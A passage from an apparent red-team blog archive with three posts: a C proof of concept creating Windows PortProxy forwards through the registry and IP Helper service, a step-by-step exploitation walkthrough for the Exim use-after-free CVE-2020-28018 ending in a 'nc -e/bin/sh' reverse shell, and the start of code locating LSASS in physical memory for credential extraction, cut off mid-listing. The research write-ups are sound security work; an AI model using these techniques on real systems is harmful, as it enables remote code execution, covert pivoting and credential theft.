#include "wine/debug.h"

WINE_DEFAULT_DEBUG_CHANNEL(netsh);

int __cdecl wmain(int argc, WCHAR *argv[])
{
    int i;

    WINE_FIXME("stub:");
    for (i = 0; i < argc; i++)
        WINE_FIXME(" %s", wine_dbgstr_w(argv[i]));
    WINE_FIXME("\n");

    return 0;
}

So let’s try to execute netsh and take a look at it with Process Monitor:

Netsh setting a registry value
Netsh setting a registry value.

In Process Monitor the only thing that is related to “PortProxy” is the creation of a value with the forwarding info (source an destination) inside the key HKLM\SYSTEM\ControlSet001\Services\PortProxy\v4tov4\tcp. If we google this key we can find a lot of articles talking about DFIR and how this key can be used to detect this particular TTP in forensic analysis (for example: Port Proxy detection - How can we see port proxy configurations in DFIR?).

If we create manually this registry value nothing happens, so we need something more to trigger the proxy creation. What are we missing? Well, that question is easy to answer. Let’s see what happened with our previous netsh execution with TCPView:

svchost and iphlpsvc reference
Svchost and iphlpsvc reference.

As we can see iphlpsvc (IP Helper Service) is in charge to create the “portproxy”. So netsh should “contact” this service in order to trigger the proxy creation, but how is this done? We should open iphlpsvc.dll inside Binary Ninja and look for references to “PortProxy”. (Spoiler: it is using the paramchange control code, so we can trigger it with sc easily)

Reference to a registry key with 'PortProxy' word inside
Reference to a registry key with 'PortProxy' word inside

We have a hit with a registry key similar to the one that we were looking for…

Function chunk that references the registry key found
Function chunk that references the registry key found

…so we can start the old and dirty game of following the call cascade (cross-reference party!) until we reach something really interesting (Note: OnConfigChange is a function renamed by us):

String with the words ServiceHandler and SERVICE_CONTROL_PARAMCHANGE
String with the words ServiceHandler and SERVICE_CONTROL_PARAMCHANGE

We got it! If a paramchange control code arrives to the iphlpsvc, it is going to read again the PortProxy configuration from the registry and act according to the info retrieved.

We can translate netsh PortProxy into the creation of a registry key and then sending a paramchange control code to the IP Helper service, or in other words we can execute these commands:

reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PortProxy\v4tov4\tcp /t REG_SZ /v 0.0.0.0/49777 /d 192.168.8.128/80
sc control iphlpsvc paramchange
reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PortProxy\v4tov4 /f 

From stone to steel

It’s time to translate our commands into a shitty PoC in C:

// PortProxy PoC
// @TheXC3LL

#include <Windows.h>
#include <stdio.h>


DWORD iphlpsvcUpdate(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	SERVICE_STATUS serviceStatus;
	DWORD retStatus = 0;
	DWORD ret = -1;

	hManager = OpenSCManagerA(NULL, NULL, GENERIC_READ);
	if (hManager) {
		hService = OpenServiceA(hManager, "IpHlpSvc", SERVICE_PAUSE_CONTINUE | SERVICE_QUERY_STATUS);
		if (hService) {
			printf("[*] Connected to IpHlpSvc\n");
			retStatus = ControlService(hService, SERVICE_CONTROL_PARAMCHANGE, &serviceStatus);
			if (retStatus) {
				printf("[*] Configuration update requested\n");
				ret = 0;
			}
			else {
				printf("[!] ControlService() failed!\n");
			}
			CloseServiceHandle(hService);
			CloseServiceHandle(hManager);
			return ret;
		}
		CloseServiceHandle(hManager);
		printf("[!] OpenServiceA() failed!\n");
		return ret;
	}
	printf("[!] OpenSCManager() failed!\n");
	return ret;
}

DWORD addEntry(LPSTR source, LPSTR destination) {
	LPCSTR v4tov4 = "SYSTEM\\ControlSet001\\Services\\PortProxy\\v4tov4\\tcp";
	HKEY hKey = NULL;
	LSTATUS retStatus = 0;
	DWORD ret = -1;
	
	retStatus = RegCreateKeyExA(HKEY_LOCAL_MACHINE, v4tov4, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (retStatus == ERROR_SUCCESS) {
		retStatus = (RegSetValueExA(hKey, source, 0, REG_SZ, (LPBYTE)destination, strlen(destination) + 1));
		if (retStatus == ERROR_SUCCESS) {
			printf("[*] New entry added\n");
			ret = 0;
		}
		else {
			printf("[!] RegSetValueExA() failed!\n");
		}
		RegCloseKey(hKey);
		return ret;
	}
	printf("[!] RegCreateKeyExA() failed!\n");
	return ret;
}

DWORD deleteEntry(LPSTR source) {
	LPCSTR v4tov4 = "SYSTEM\\ControlSet001\\Services\\PortProxy\\v4tov4\\tcp";
	HKEY hKey = NULL;
	LSTATUS retStatus = 0;
	DWORD ret = -1;

	retStatus = RegCreateKeyExA(HKEY_LOCAL_MACHINE, v4tov4, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (retStatus == ERROR_SUCCESS) {
		retStatus = RegDeleteKeyValueA(HKEY_LOCAL_MACHINE, v4tov4, source);
		if (retStatus == ERROR_SUCCESS) {
			printf("[*] New entry deleted\n");
			ret = 0;
		}
		else {
			printf("[!] RegDeleteKeyValueA() failed!\n");
		}
		RegCloseKey(hKey);
		return ret;
	}
	printf("[!] RegCreateKeyExA() failed!\n");
	return ret;
}

int main(int argc, char** argv) {
	printf("\t\t-=<[ PortProxy PoC by @TheXC3LL ]>=-\n\n");
	if (argc <= 2) {
		printf("[!] Invalid syntax! Usage: PortProxy.exe SOURCE_IP/PORT DESTINATION_IP/PORT (example: ./PortProxy.exe 0.0.0.0/1337 10.0.2.2/22\n");
	}
	if (addEntry(argv[1], argv[2]) != -1) {
		if (iphlpsvcUpdate() == -1) {
			printf("[!] Something went wrong :S\n");
		}
		if (deleteEntry(argv[1]) == -1) {
				printf("[!] Troubles deleting the entry, please try it manually!!\n");
		}
	}
	return 0;
}

Fire in the hole!

Proof of Concept working like a charm
Proof of Concept working like a charm

EDIT (2021/06/19): A reader pointed us that “Control001” is the “normal” controlset, but in some scenarios the number can change (002, 003, etc.) so instead of using it directly we should use HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet before.

EoF

As we stated at the beginning this short article is not about “netsh” or the “PortProxy” functionality. We aim higher: we want to encourage you to stop using commands blindly and to start to dig inside what is doing your machine. Explore and learn the internals of everything you do on an red team operation or a pentest.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

From theory to practice: analysis and PoC development for CVE-2020-28018 (Use-After-Free in Exim)

14 May 2021 at 00:00

Dear Fellowlship, today’s homily is about building a PoC for one of the vulnerabilities published by Qualys in Exim. Please, take a seat and listen to the story.

Introduction

Qualys recently released an advisory named “21Nails” with 21 vulnerabilities discovered in Exim, some leading to LPE and RCE.

This post will analyze one of those vulnerabilities with CVE ID: CVE-2020-28018.

The vulnerability is a Use-After-Free (UAF) vulnerability on tls-openssl.c, that leads to Remote Code Execution.

This vulnerability is really powerful as it allows an attacker to craft important primitives to bypass memory protections like PIE or ASLR.

The primitives that this vulnerability can achieve are the following:

  • Info Leak: Leak heap pointers to bypass ASLR
  • Arbitrary read: Read arbitrary number of bytes on arbitrary location
  • write-what-where: Write arbitrary data on arbitrary locations

As you can see, those primitives are just what a remote attacker needs to bypass security protections.

First for this vulnerability to be triggered and exploited some requirements need to be met:

  • TLS is enabled
  • Instead of GnuTLS (the default unfortunately) OpenSSL has to be enabled.
  • The exim running is one of the vulnerable versions
  • X_PIPE_CONNECT should be disabled

First, to understand why does this vulnerability exists and how to exploit it, we need to understand the behaviour of the Exim Pool Allocator and the growable strings Exim uses.

Exim Pool Allocator

Exim pool allocator has different pools:

  • POOL_PERM: Allocations that are not released until the process finishes
  • POOL_MAIN: Allocations that can be freed
  • POOL_SEARCH: Lookup storage

A pool is a linked list of storeblock structures starting from the chainbase.

typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

We can see it contains two entries:

  • next: Pointer to the next block within the linked list.
  • length: Length of current block.
void *
store_get_3(int size, const char *filename, int linenumber)
{

if (size % alignment != 0) size += alignment - (size % alignment);

if (size > yield_length[store_pool])
  {
  int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
  int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
  storeblock * newblock = NULL;

  if (  (newblock = current_block[store_pool])
     && (newblock = newblock->next)
     && newblock->length < length
     )
    {
    /* Give up on this block, because it's too small */
    store_free(newblock);
    newblock = NULL;
    }

  if (!newblock)
    {
    pool_malloc += mlength;           /* Used in pools */
    nonpool_malloc -= mlength;        /* Exclude from overall total */
    newblock = store_malloc(mlength);
    newblock->next = NULL;
    newblock->length = length;
    if (!chainbase[store_pool])
      chainbase[store_pool] = newblock;
    else
      current_block[store_pool]->next = newblock;
    }

  current_block[store_pool] = newblock;
  yield_length[store_pool] = newblock->length;
  next_yield[store_pool] =
    (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
  (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
  }


store_last_get[store_pool] = next_yield[store_pool];

...

next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;

return store_last_get[store_pool];
}

When store_get() is called it first checks if there is enough space on the current block to satisfy the request.

If there is space, the yield pointer is updated and a pointer to the memory is returned to the caller funcion.

If there is no space it checks if there is a free block, and then at the last try, call malloc() to satisfy the request (the requirement is a minimum of STORE_BLOCK_SIZE, if less than that, it will be used as the size for the allocation).

Finally the new block is added to the pool linked list.

void
store_reset_3(void *ptr, const char *filename, int linenumber)
{
storeblock * bb;
storeblock * b = current_block[store_pool];
char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
int newlength;

store_last_get[store_pool] = NULL;

if (CS ptr < bc || CS ptr > bc + b->length)
  {
  for (b = chainbase[store_pool]; b; b = b->next)
    {
    bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
    if (CS ptr >= bc && CS ptr <= bc + b->length) break;
    }
  if (!b)
    log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) "
      "failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber);
  }


newlength = bc + b->length - CS ptr;

...

(void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength);
yield_length[store_pool] = newlength - (newlength % alignment);
next_yield[store_pool] = CS ptr + (newlength % alignment);
current_block[store_pool] = b;


if (yield_length[store_pool] < STOREPOOL_MIN_SIZE &&
    b->next &&
    b->next->length == STORE_BLOCK_SIZE)
  {
  b = b->next;
  
...

  (void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK,
		b->length - ALIGNED_SIZEOF_STOREBLOCK);
  }

bb = b->next;
b->next = NULL;

while ((b = bb))
  {
  
...

  bb = bb->next;
  pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
  store_free_3(b, filename, linenumber);
  }

...

}

Store reset performs a reset / free given a reset point. All subsequent blocks to the block that contains the reset_point will be freed. And finally the yield pointer will be restored within the same block.

BOOL
store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
  int linenumber)
{
int inc = newsize - oldsize;
int rounded_oldsize = oldsize;

if (rounded_oldsize % alignment != 0)
  rounded_oldsize += alignment - (rounded_oldsize % alignment);

if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    inc > yield_length[store_pool] + rounded_oldsize - oldsize)
  return FALSE;

...

if (newsize % alignment != 0) newsize += alignment - (newsize % alignment);
next_yield[store_pool] = CS ptr + newsize;
yield_length[store_pool] -= newsize - rounded_oldsize;
(void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc);
return TRUE;
}

As we will see later on gstrings, this function tries to extend memory in the same block if there space is available.

Exim gstring’s

Exim uses something called gstrings as a growable string implementation.

This is the structure that defines it:

typedef struct gstring {
   int size;
   int ptr;
   uschar *s;
} gstring;
  • size: string buffer size.
  • ptr: offset to the last character on the string buffer.
  • uschar *s: defines a pointer to the string buffer.

When we want to get a string we can use string_get():

gstring *
string_get(unsigned size)
{
gstring * g = store_get(sizeof(gstring) + size);
g->size = size;
g->ptr = 0;
g->s = US(g + 1);
return g;
}

It uses store_get() to allocate a buffer.

At gstring initialization, the string buffer is right after the struct.

When we want to enter data into the growable string:

gstring *
string_catn(gstring * g, const uschar *s, int count)
{
int p;

if (!g)
  {
  unsigned inc = count < 4096 ? 127 : 1023;
  unsigned size = ((count + inc) &  ~inc) + 1;
  g = string_get(size);
  }

p = g->ptr;
if (p + count >= g->size)
  gstring_grow(g, p, count);

memcpy(g->s + p, s, count);
g->ptr = p + count;
return g;
}

string_catn() checks first if there is enough size, if not, calls gstring_grow().

static void
gstring_grow(gstring * g, int p, int count)
{
int oldsize = g->size;

unsigned inc = oldsize < 4096 ? 127 : 1023;
g->size = ((p + count + inc) & ~inc) + 1;

if (!store_extend(g->s, oldsize, g->size))
  g->s = store_newblock(g->s, g->size, p);
}

It first tries to extend the memory chunk within the same pool block. If failed, then a new block is allocated and the g->s pointer is replaced with the new buffer.

Exim Access Control Lists (ACLs)

Access Control Lists (ACLs) is a type of configuration that allows you to change the behaviour of a server when receiving SMTP commands.

ACLs have been a good way to achieve code execution when exploiting Exim vulnerabilities since a long time.

There is an specific ACL name called run which allows you to run a command.

Sample: ${run{ls -la}}

This specific ACL is the one used when exploiting this vulnerability to execute code remotely.

Root cause

Understanding now how growable strings, the Exim pool allocator and ACL’s work, let’s analyze the root cause of this vulnerability.

In tls-openssl.c, on tls_write():

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

This function is the one that send responses to the client when a TLS session is active.

corked is an static pointer, it can be used within different calls.

more with type BOOL is a way to specify if there is more data to buffer or we can return the data to the user.

In case more data needs to be copied, len is returned. Else, corked is NULLed out and the corked->s contents is returned to the client.

This means that we might be able to trigger a Use-After-Free condition in case corked somehow does not get NULLed, and after a call to smtp_reset is performed, the content pointed to by corked will be freed.

If reaching tls_write() again, we will use the buffer after free.

How can we put the server in that situation?

First we initialize a connection to the server, and send EHLO and STARTTLS to start a new TLS Session so we can enter tls_write() on responses.

If we send either RCPT TO or MAIL TO pipelined with a command like NOOP. And we send just a half of the NOOP (NO), and then we close the TLS Session to get back to plaintext to send the other half (OP\n), we will be returning to plaintext and as more = 1 the corked pointer won’t be NULLed.

Now sending a command like EHLO will end up calling smtp_reset(), which will free all the subsequent heap chunks, and retore the yield pointer to reset_point.

On the whole exploitation process we are dealing mostly with the POOL_MAIN pool.

We have a static variable containing a pointer to the middle of a buffer that has been freed. We need to use it to trigger a UAF.

To use it, we need to return to a TLS connection, so we can use tls_write() again.

We send STARTTLS to start a new TLS Session and finally send any command. When the server crafts the response on tls_write(), corked will be used after free.

When I first triggered the bug, a function from OpenSSL lib used my freed buffer and entered binary data, resulting on a SIGSEGV interruption due to an invalid memory address for corked->s:

gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Info leak

Most memory corruption exploits will need nowadays a memory leak to succeed and bypass mitigations like ASLR, PIE and many more.

As mentioned, this Use-After-Free itself allows a remote attacker to retrieve heap pointers.

As the buffer is freed, other functions will start using it, like functions that write heap pointers to the heap.

On responses, NULL bytes are allowed when on a TLS Session. We just need the heap addresses to be leaked be entered in a range of memory from corked->s to corked->s + corked->ptr.

If the address is on that range, it will be returned to the client.

How can we make heap addresses written in that range?

Apart from doing some tests and debugging to see where to move our buffer and how, an interesting trick is pipelining RCPT TO commands together to increase the response buffer string. It will force string_catn() to call gstring_grow(), which will allocate the string buffer somewhere else.

This will help us to overwrite the string buffer but not the gstring struct itself.

Arbitrary Read

Once we have a memory leak, we might start a search of the exim ACL’s, once we identify the address where the ACL is located we can write to it to finally achieve code execution.

To do so, we need to craft somehow an arbitrary read primitive that let us read memory from heap.

Thanks to this Use-After-Free, grooming the heap, we can overwrite the gstring struct, this would allow us to control:

  • corked->size: size of string buffer
  • corked->ptr: offset to last byte written
  • corked->s: pointer to string buffer

Having this, on next tls_write(), arbitrary number of bytes from an arbitrary location will be sent to us when trying to access corked->s.

What about NULLs? They are strings right?

Nope! The responses are returned to the client through SSL_write(), so no problems with NULLs, the limit is corked->ptr which is controlled :).

With this technique we can read any memory we want from heap, so we can iterate over memory blocks until finding the configuration via specific query to search for.

How do I overwrite gstring struct?

First we need to align the heap in such way that we can successfully reuse the target chunk.

In smtp_setup_msg() we depend on the initial reset_point.

To avoid this…reading the handle_smtp_call() we can see there is a way to increase reset_point as initial value on smtp_setup_msg().

  if (!smtp_start_session())
    {
    mac_smtp_fflush();
    search_tidyup();
    _exit(EXIT_SUCCESS);
    }

  for (;;)
    {
    int rc;
    message_id[0] = 0;            /* Clear out any previous message_id */
    reset_point = store_get(0);   /* Save current store high water point */

    DEBUG(D_any)
      debug_printf("Process %d is ready for new message\n", (int)getpid());

    /* Smtp_setup_msg() returns 0 on QUIT or if the call is from an
    unacceptable host or if an ACL "drop" command was triggered, -1 on
    connection lost, and +1 on validly reaching DATA. Receive_msg() almost
    always returns TRUE when smtp_input is true; just retry if no message was
    accepted (can happen for invalid message parameters). However, it can yield
    FALSE if the connection was forcibly dropped by the DATA ACL. */

    if ((rc = smtp_setup_msg()) > 0)
      {
      BOOL ok = receive_msg(FALSE);
      search_tidyup();                    /* Close cached databases */
      if (!ok)                            /* Connection was dropped */
        {
	cancel_cutthrough_connection(TRUE, US"receive dropped");
        mac_smtp_fflush();
        smtp_log_no_mail();               /* Log no mail if configured */
        _exit(EXIT_SUCCESS);
        }
      if (message_id[0] == 0) continue;   /* No message was accepted */
      }
    else
      {
      if (smtp_out)
	{
	int i, fd = fileno(smtp_in);
	uschar buf[128];

	mac_smtp_fflush();
	/* drain socket, for clean TCP FINs */
	if (fcntl(fd, F_SETFL, O_NONBLOCK) == 0)
	  for(i = 16; read(fd, buf, sizeof(buf)) > 0 && i > 0; ) i--;
	}
      cancel_cutthrough_connection(TRUE, US"message setup dropped");
      search_tidyup();
      smtp_log_no_mail();                 /* Log no mail if configured */

      /*XXX should we pause briefly, hoping that the client will be the
      active TCP closer hence get the TCP_WAIT endpoint? */
      DEBUG(D_receive) debug_printf("SMTP>>(close on process exit)\n");
      _exit(rc ? EXIT_FAILURE : EXIT_SUCCESS);
      }

We can see that there is a possibility to return back to smtp_setup_msg() with an increased reset_point.

When reading a message, the return value ok must be true, but we, somehow need to make message_id[0] == 0. This happen on an specific situation.

Let’s read the receive_msg() code:

  /* Handle failure due to a humungously long header section. The >= allows
  for the terminating \n. Add what we have so far onto the headers list so
  that it gets reflected in any error message, and back up the just-read
  character. */

  if (message_size >= header_maxsize)
    {
OVERSIZE:
    next->text[ptr] = 0;
    next->slen = ptr;
    next->type = htype_other;
    next->next = NULL;
    header_last->next = next;
    header_last = next;

    log_write(0, LOG_MAIN, "ridiculously long message header received from "
      "%s (more than %d characters): message abandoned",
      f.sender_host_unknown ? sender_ident : sender_fullhost, header_maxsize);

    if (smtp_input)
      {
      smtp_reply = US"552 Message header is ridiculously long";
      receive_swallow_smtp();
      goto TIDYUP;                             /* Skip to end of function */
      }

    else
      {
      give_local_error(ERRMESS_VLONGHEADER,
        string_sprintf("message header longer than %d characters received: "
         "message not accepted", header_maxsize), US"", error_rc, stdin,
           header_list->next);
      /* Does not return */
      }
    }

If on a message, we send a really long line (no \n’s on it) surpassing header_maxsize, an error happens.

Despite being an error, ok on return is true, but message_id[0] contains 0 :)

This means on handle_smtp_call() we will follow the continue and return back to smtp_setup_msg() with an increased reset_point.

Qualys did the corrupting of the struct with AUTH parameter (part of ESMTP parameters).

It is a good way to overwrite as it allows you to encode binary data as strings with xtext. That string will be decoded as binary data on writing to the allocated buffer.

Though, I did not followed that way. I used the message channel itself to send binary data, and I had no problems with it.

So I was able to overwrite the struct through a message and control all the parameters in the struct.

Write-what-where

We now know the address where the target configuration is stored.

By using the same technique I used for overwriting the target gstring struct, we can do the same but to craft a write-what-where primitive.

This time corked->size must be a high value. corked->ptr must be zero in order to start writing response on corked->s directly.

corked->s will contain the address where we want to write the response of our command triggering the UAF.

Once we overwrite the gstring struct with such values, we need to trigger the Use-After-Free initializing again a TLS Session.

We send an invalid MAIL FROM command so part of our command is returned on the response, which allows us to write arbitrary data.

Achieving Remote Code Execution

ACL is overwritten by our custom command, how do we make it be executed?

Once the ACL is corrupted, in this case I overwrote the ACL corresponding to MAIL FROM commands, we need to make that ACL being interpreted by expand_cstring(). To do so, after the MAIL FROM we used to overwrite the ACL we can pipeline another command (MAIL FROM too as the previous one failed) which will make the ACL being passed to expand_cstring() and the command will finally be executed.

I had a problem with max arguments. I could not nc -e/bin/sh <ip> <port>, just two args were allowed. So I used this as command: /bin/sh -c 'nc -e/bin/sh <ip> <port>'.

Now it won’t give us max_args problem and the command will be executed, resulting on a reverse shell:

RCE_Screenshot

EoF

The full exploit can be found here.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

A physical graffiti of LSASS: getting credentials from physical memory for fun and learning

8 May 2021 at 00:00

Dear Fellowlship, today’s homily is about how one of our owls began his own quest through the lands of physical memory to find the credentials keys to paradise. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

Our knowledge about the topic discussed in this article is limited, as we stated in the tittle we did this work just for learning purposes. If you spot incorrections/misconceptions, please ping us at twitter so we can fix it. For a more accurate information (and deep explanations), please check the book “Windows Internals” (Pavel Yosifovich, Alex Ionescu, Mark E. Russinovich & David A. Solomon). Also well-known forensic tools are a good source of information (for example Volatility).

Other important thing to keep in mind: the windows version used here is Windows 10 2009 20H2 (October 2020 Update).

Preamble

Hunting for juicy information inside dumps of physical memory is something that regular forensic tools do by default. Even cheaters have been exploring this way in the past to build wallhacks: read physical memory, find your desired game process and look for the player information structs.

From a Red Teaming/Pentesting optics, this approach has been explored too in order to obtain credentials from the lsass process in live machines during engagements. For example, in 2020 F-Secure published an article titled “Rethinking credential theft” and released a tool called “PhysMem2Profit”.

In their article/tool they use WinPmem driver to read physical memory (a vulnerable driver with a read primitive would work too), creating a bridge with sockets between the target machine and the pentester machine, so they can create a minidump of lsass process that is compatible with Mimikatz with the help of Rekall.

Working schema (from 'Rethinking Credential Theft')
Working schema (from 'Rethinking Credential Theft')

The steps they follow are:

  1. Expose the physical memory of the target over a TCP port.
  2. Connect to the TCP port and mount the physical memory as a file.
  3. Analyze the mounted memory with the help of the Rekall framework and create a minidump of LSASS.
  4. Run the minidump through Mimikatz and retrieve credential material.

In our humble opinion, this approach is too convoluted and contains unnecessary steps. Also creating a socket between the two machines does not look fine to us. So… here comes our idea: let’s try to loot lsass from physical memory staying in the same machine and WITHOUT externals tools (like they did with rekall). It is a good opportunity to learn new things!kd

It’s dangerous to go alone! Take this.

As in any quest, we first need a map and a compass to find the treasure because the land of physical memory is dangerous and full of terrors. We can read arbitrary physical memory with WinPem or a driver vulnerable with a read primitive, but… How can we find the process memory? Well, our map is the AVL-tree that contains the VADs info and our compass is the EPROCESS struct. Let’s explain this!

The Memory Manager needs to keep track of which virtual addresses have been reserved in the process’ address space. This information is contained in structs called “VAD” (Virtual Address Descriptor) and they are placed inside an AVL-tree (an AVL-tree is a self-balancing binary search tree). The tree is our map: if we find the tree’s first node we can start to walk it and retrieve all the VADs, and consequently we would get the knowledge of how the process memory is distributed (also, the VAD provides more useful information as we are going to see later).

But… how can we find this tree? Well, we need the compass. And our compass is the EPROCESS. This structure contains a pointer to the tree (field VadRoot) and the number of nodes (VadCount):

//0xa40 bytes (sizeof)
struct _EPROCESS
{
    struct _KPROCESS Pcb;                                                   //0x0
    struct _EX_PUSH_LOCK ProcessLock;                                       //0x438
    VOID* UniqueProcessId;                                                  //0x440
    struct _LIST_ENTRY ActiveProcessLinks;                                  //0x448
    struct _EX_RUNDOWN_REF RundownProtect;                                  //0x458
//(...)
    struct _RTL_AVL_TREE VadRoot;                                           //0x7d8
    VOID* VadHint;                                                          //0x7e0
    ULONGLONG VadCount;                                                     //0x7e8
//(...)

Finding this structure in physical memory is easy. In the article “CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver”, @Jackson_T uses a mask to find this structure. As we know some data (like the PID, the process name or the Priority value) we can use this as a signature and search the whole physical memory until we match it.

We’ll know the name and PID for each process we’re targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won’t be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs. (From Jackson_T post)

So, we can search for our masks and then apply relative offsets to read the fields that we are interested in:

int main(int argc, char** argv) {
    WINPMEM_MEMORY_INFO info;
    DWORD size;
    BOOL result = FALSE;
    int i = 0;
    LARGE_INTEGER large_start;
    DWORD found = 0;


    printf("[+] Getting WinPmem handle...\t");
    pmem_fd = CreateFileA("\\\\.\\pmem",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (pmem_fd == INVALID_HANDLE_VALUE) {
        printf("ERROR!\n");
        return -1;
    }
    printf("OK!\n");

    RtlZeroMemory(&info, sizeof(WINPMEM_MEMORY_INFO));
    printf("[+] Getting memory info...\t");
    result = DeviceIoControl(pmem_fd, IOCTL_GET_INFO,
        NULL, 0, // in
        (char*)&info, sizeof(WINPMEM_MEMORY_INFO), // out
        &size, NULL);
    if (!result) {
        printf("ERROR!\n");
        return -1;
    }
    printf("OK!\n");

    printf("[+] Memory Info:\n");
    printf("\t[-] Total ranges: %lld\n", info.NumberOfRuns.QuadPart);
    for (i = 0; i < info.NumberOfRuns.QuadPart; i++) {
        printf("\t\tStart 0x%08llX - Length 0x%08llx\n", info.Run[i].BaseAddress.QuadPart, info.Run[i].NumberOfBytes.QuadPart);
        max_physical_memory = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart;
    }
    printf("\t[-] Max physical memory 0x%08llx\n", max_physical_memory);

    printf("[+] Scanning memory... ");
    
   
    for (i = 0; i < info.NumberOfRuns.QuadPart; i++) {
        start = info.Run[i].BaseAddress.QuadPart;
        end = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart;

        while (start < end) {
            unsigned char* largebuffer = (unsigned char*)malloc(BUFF_SIZE);
            DWORD to_write = (DWORD)min((BUFF_SIZE), end - start);
            DWORD bytes_read = 0;
            DWORD bytes_written = 0;
            large_start.QuadPart = start;
            result = SetFilePointerEx(pmem_fd, large_start, NULL, FILE_BEGIN);
            if (!result) {
                printf("[!] ERROR! (SetFilePointerEx)\n");
            }
            result = ReadFile(pmem_fd, largebuffer, to_write, &bytes_read, NULL);
            EPROCESS_NEEDLE needle_root_process = {"lsass.exe"};
            
            PBYTE needle_buffer = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE));
            memcpy(needle_buffer, &needle_root_process, sizeof(EPROCESS_NEEDLE));
            int offset = 0;
            offset = memmem((PBYTE)largebuffer, bytes_read, needle_buffer, sizeof(EPROCESS_NEEDLE)); // memmem() is the same used by Jackson_T in his post    
            if (offset >= 0) {
                if (largebuffer[offset + 15] == 2) { //Priority Check
                    if (largebuffer[offset - 0x168] == 0x70 && largebuffer[offset - 0x167] == 0x02) { //PID check, hardcoded for PoC, we can take in runtime but... too lazy :P
                        printf("signature match at 0x%08llx!\n", offset + start);
                        printf("[+] EPROCESS is at 0x%08llx [PHYSICAL]\n", offset - 0x5a8 + start);
                        memcpy(&DirectoryTableBase, largebuffer + offset - 0x5a8 + 0x28, sizeof(ULONGLONG));
                        printf("\t[*] DirectoryTableBase: 0x%08llx\n", DirectoryTableBase);
                        printf("\t[*] VadRoot is at 0x%08llx [PHYSICAL]\n", start + offset - 0x5a8 + 0x7d8);
                        memcpy(&VadRootPointer, largebuffer + offset - 0x5a8 + 0x7d8, sizeof(ULONGLONG));
                        VadRootPointer = VadRootPointer;
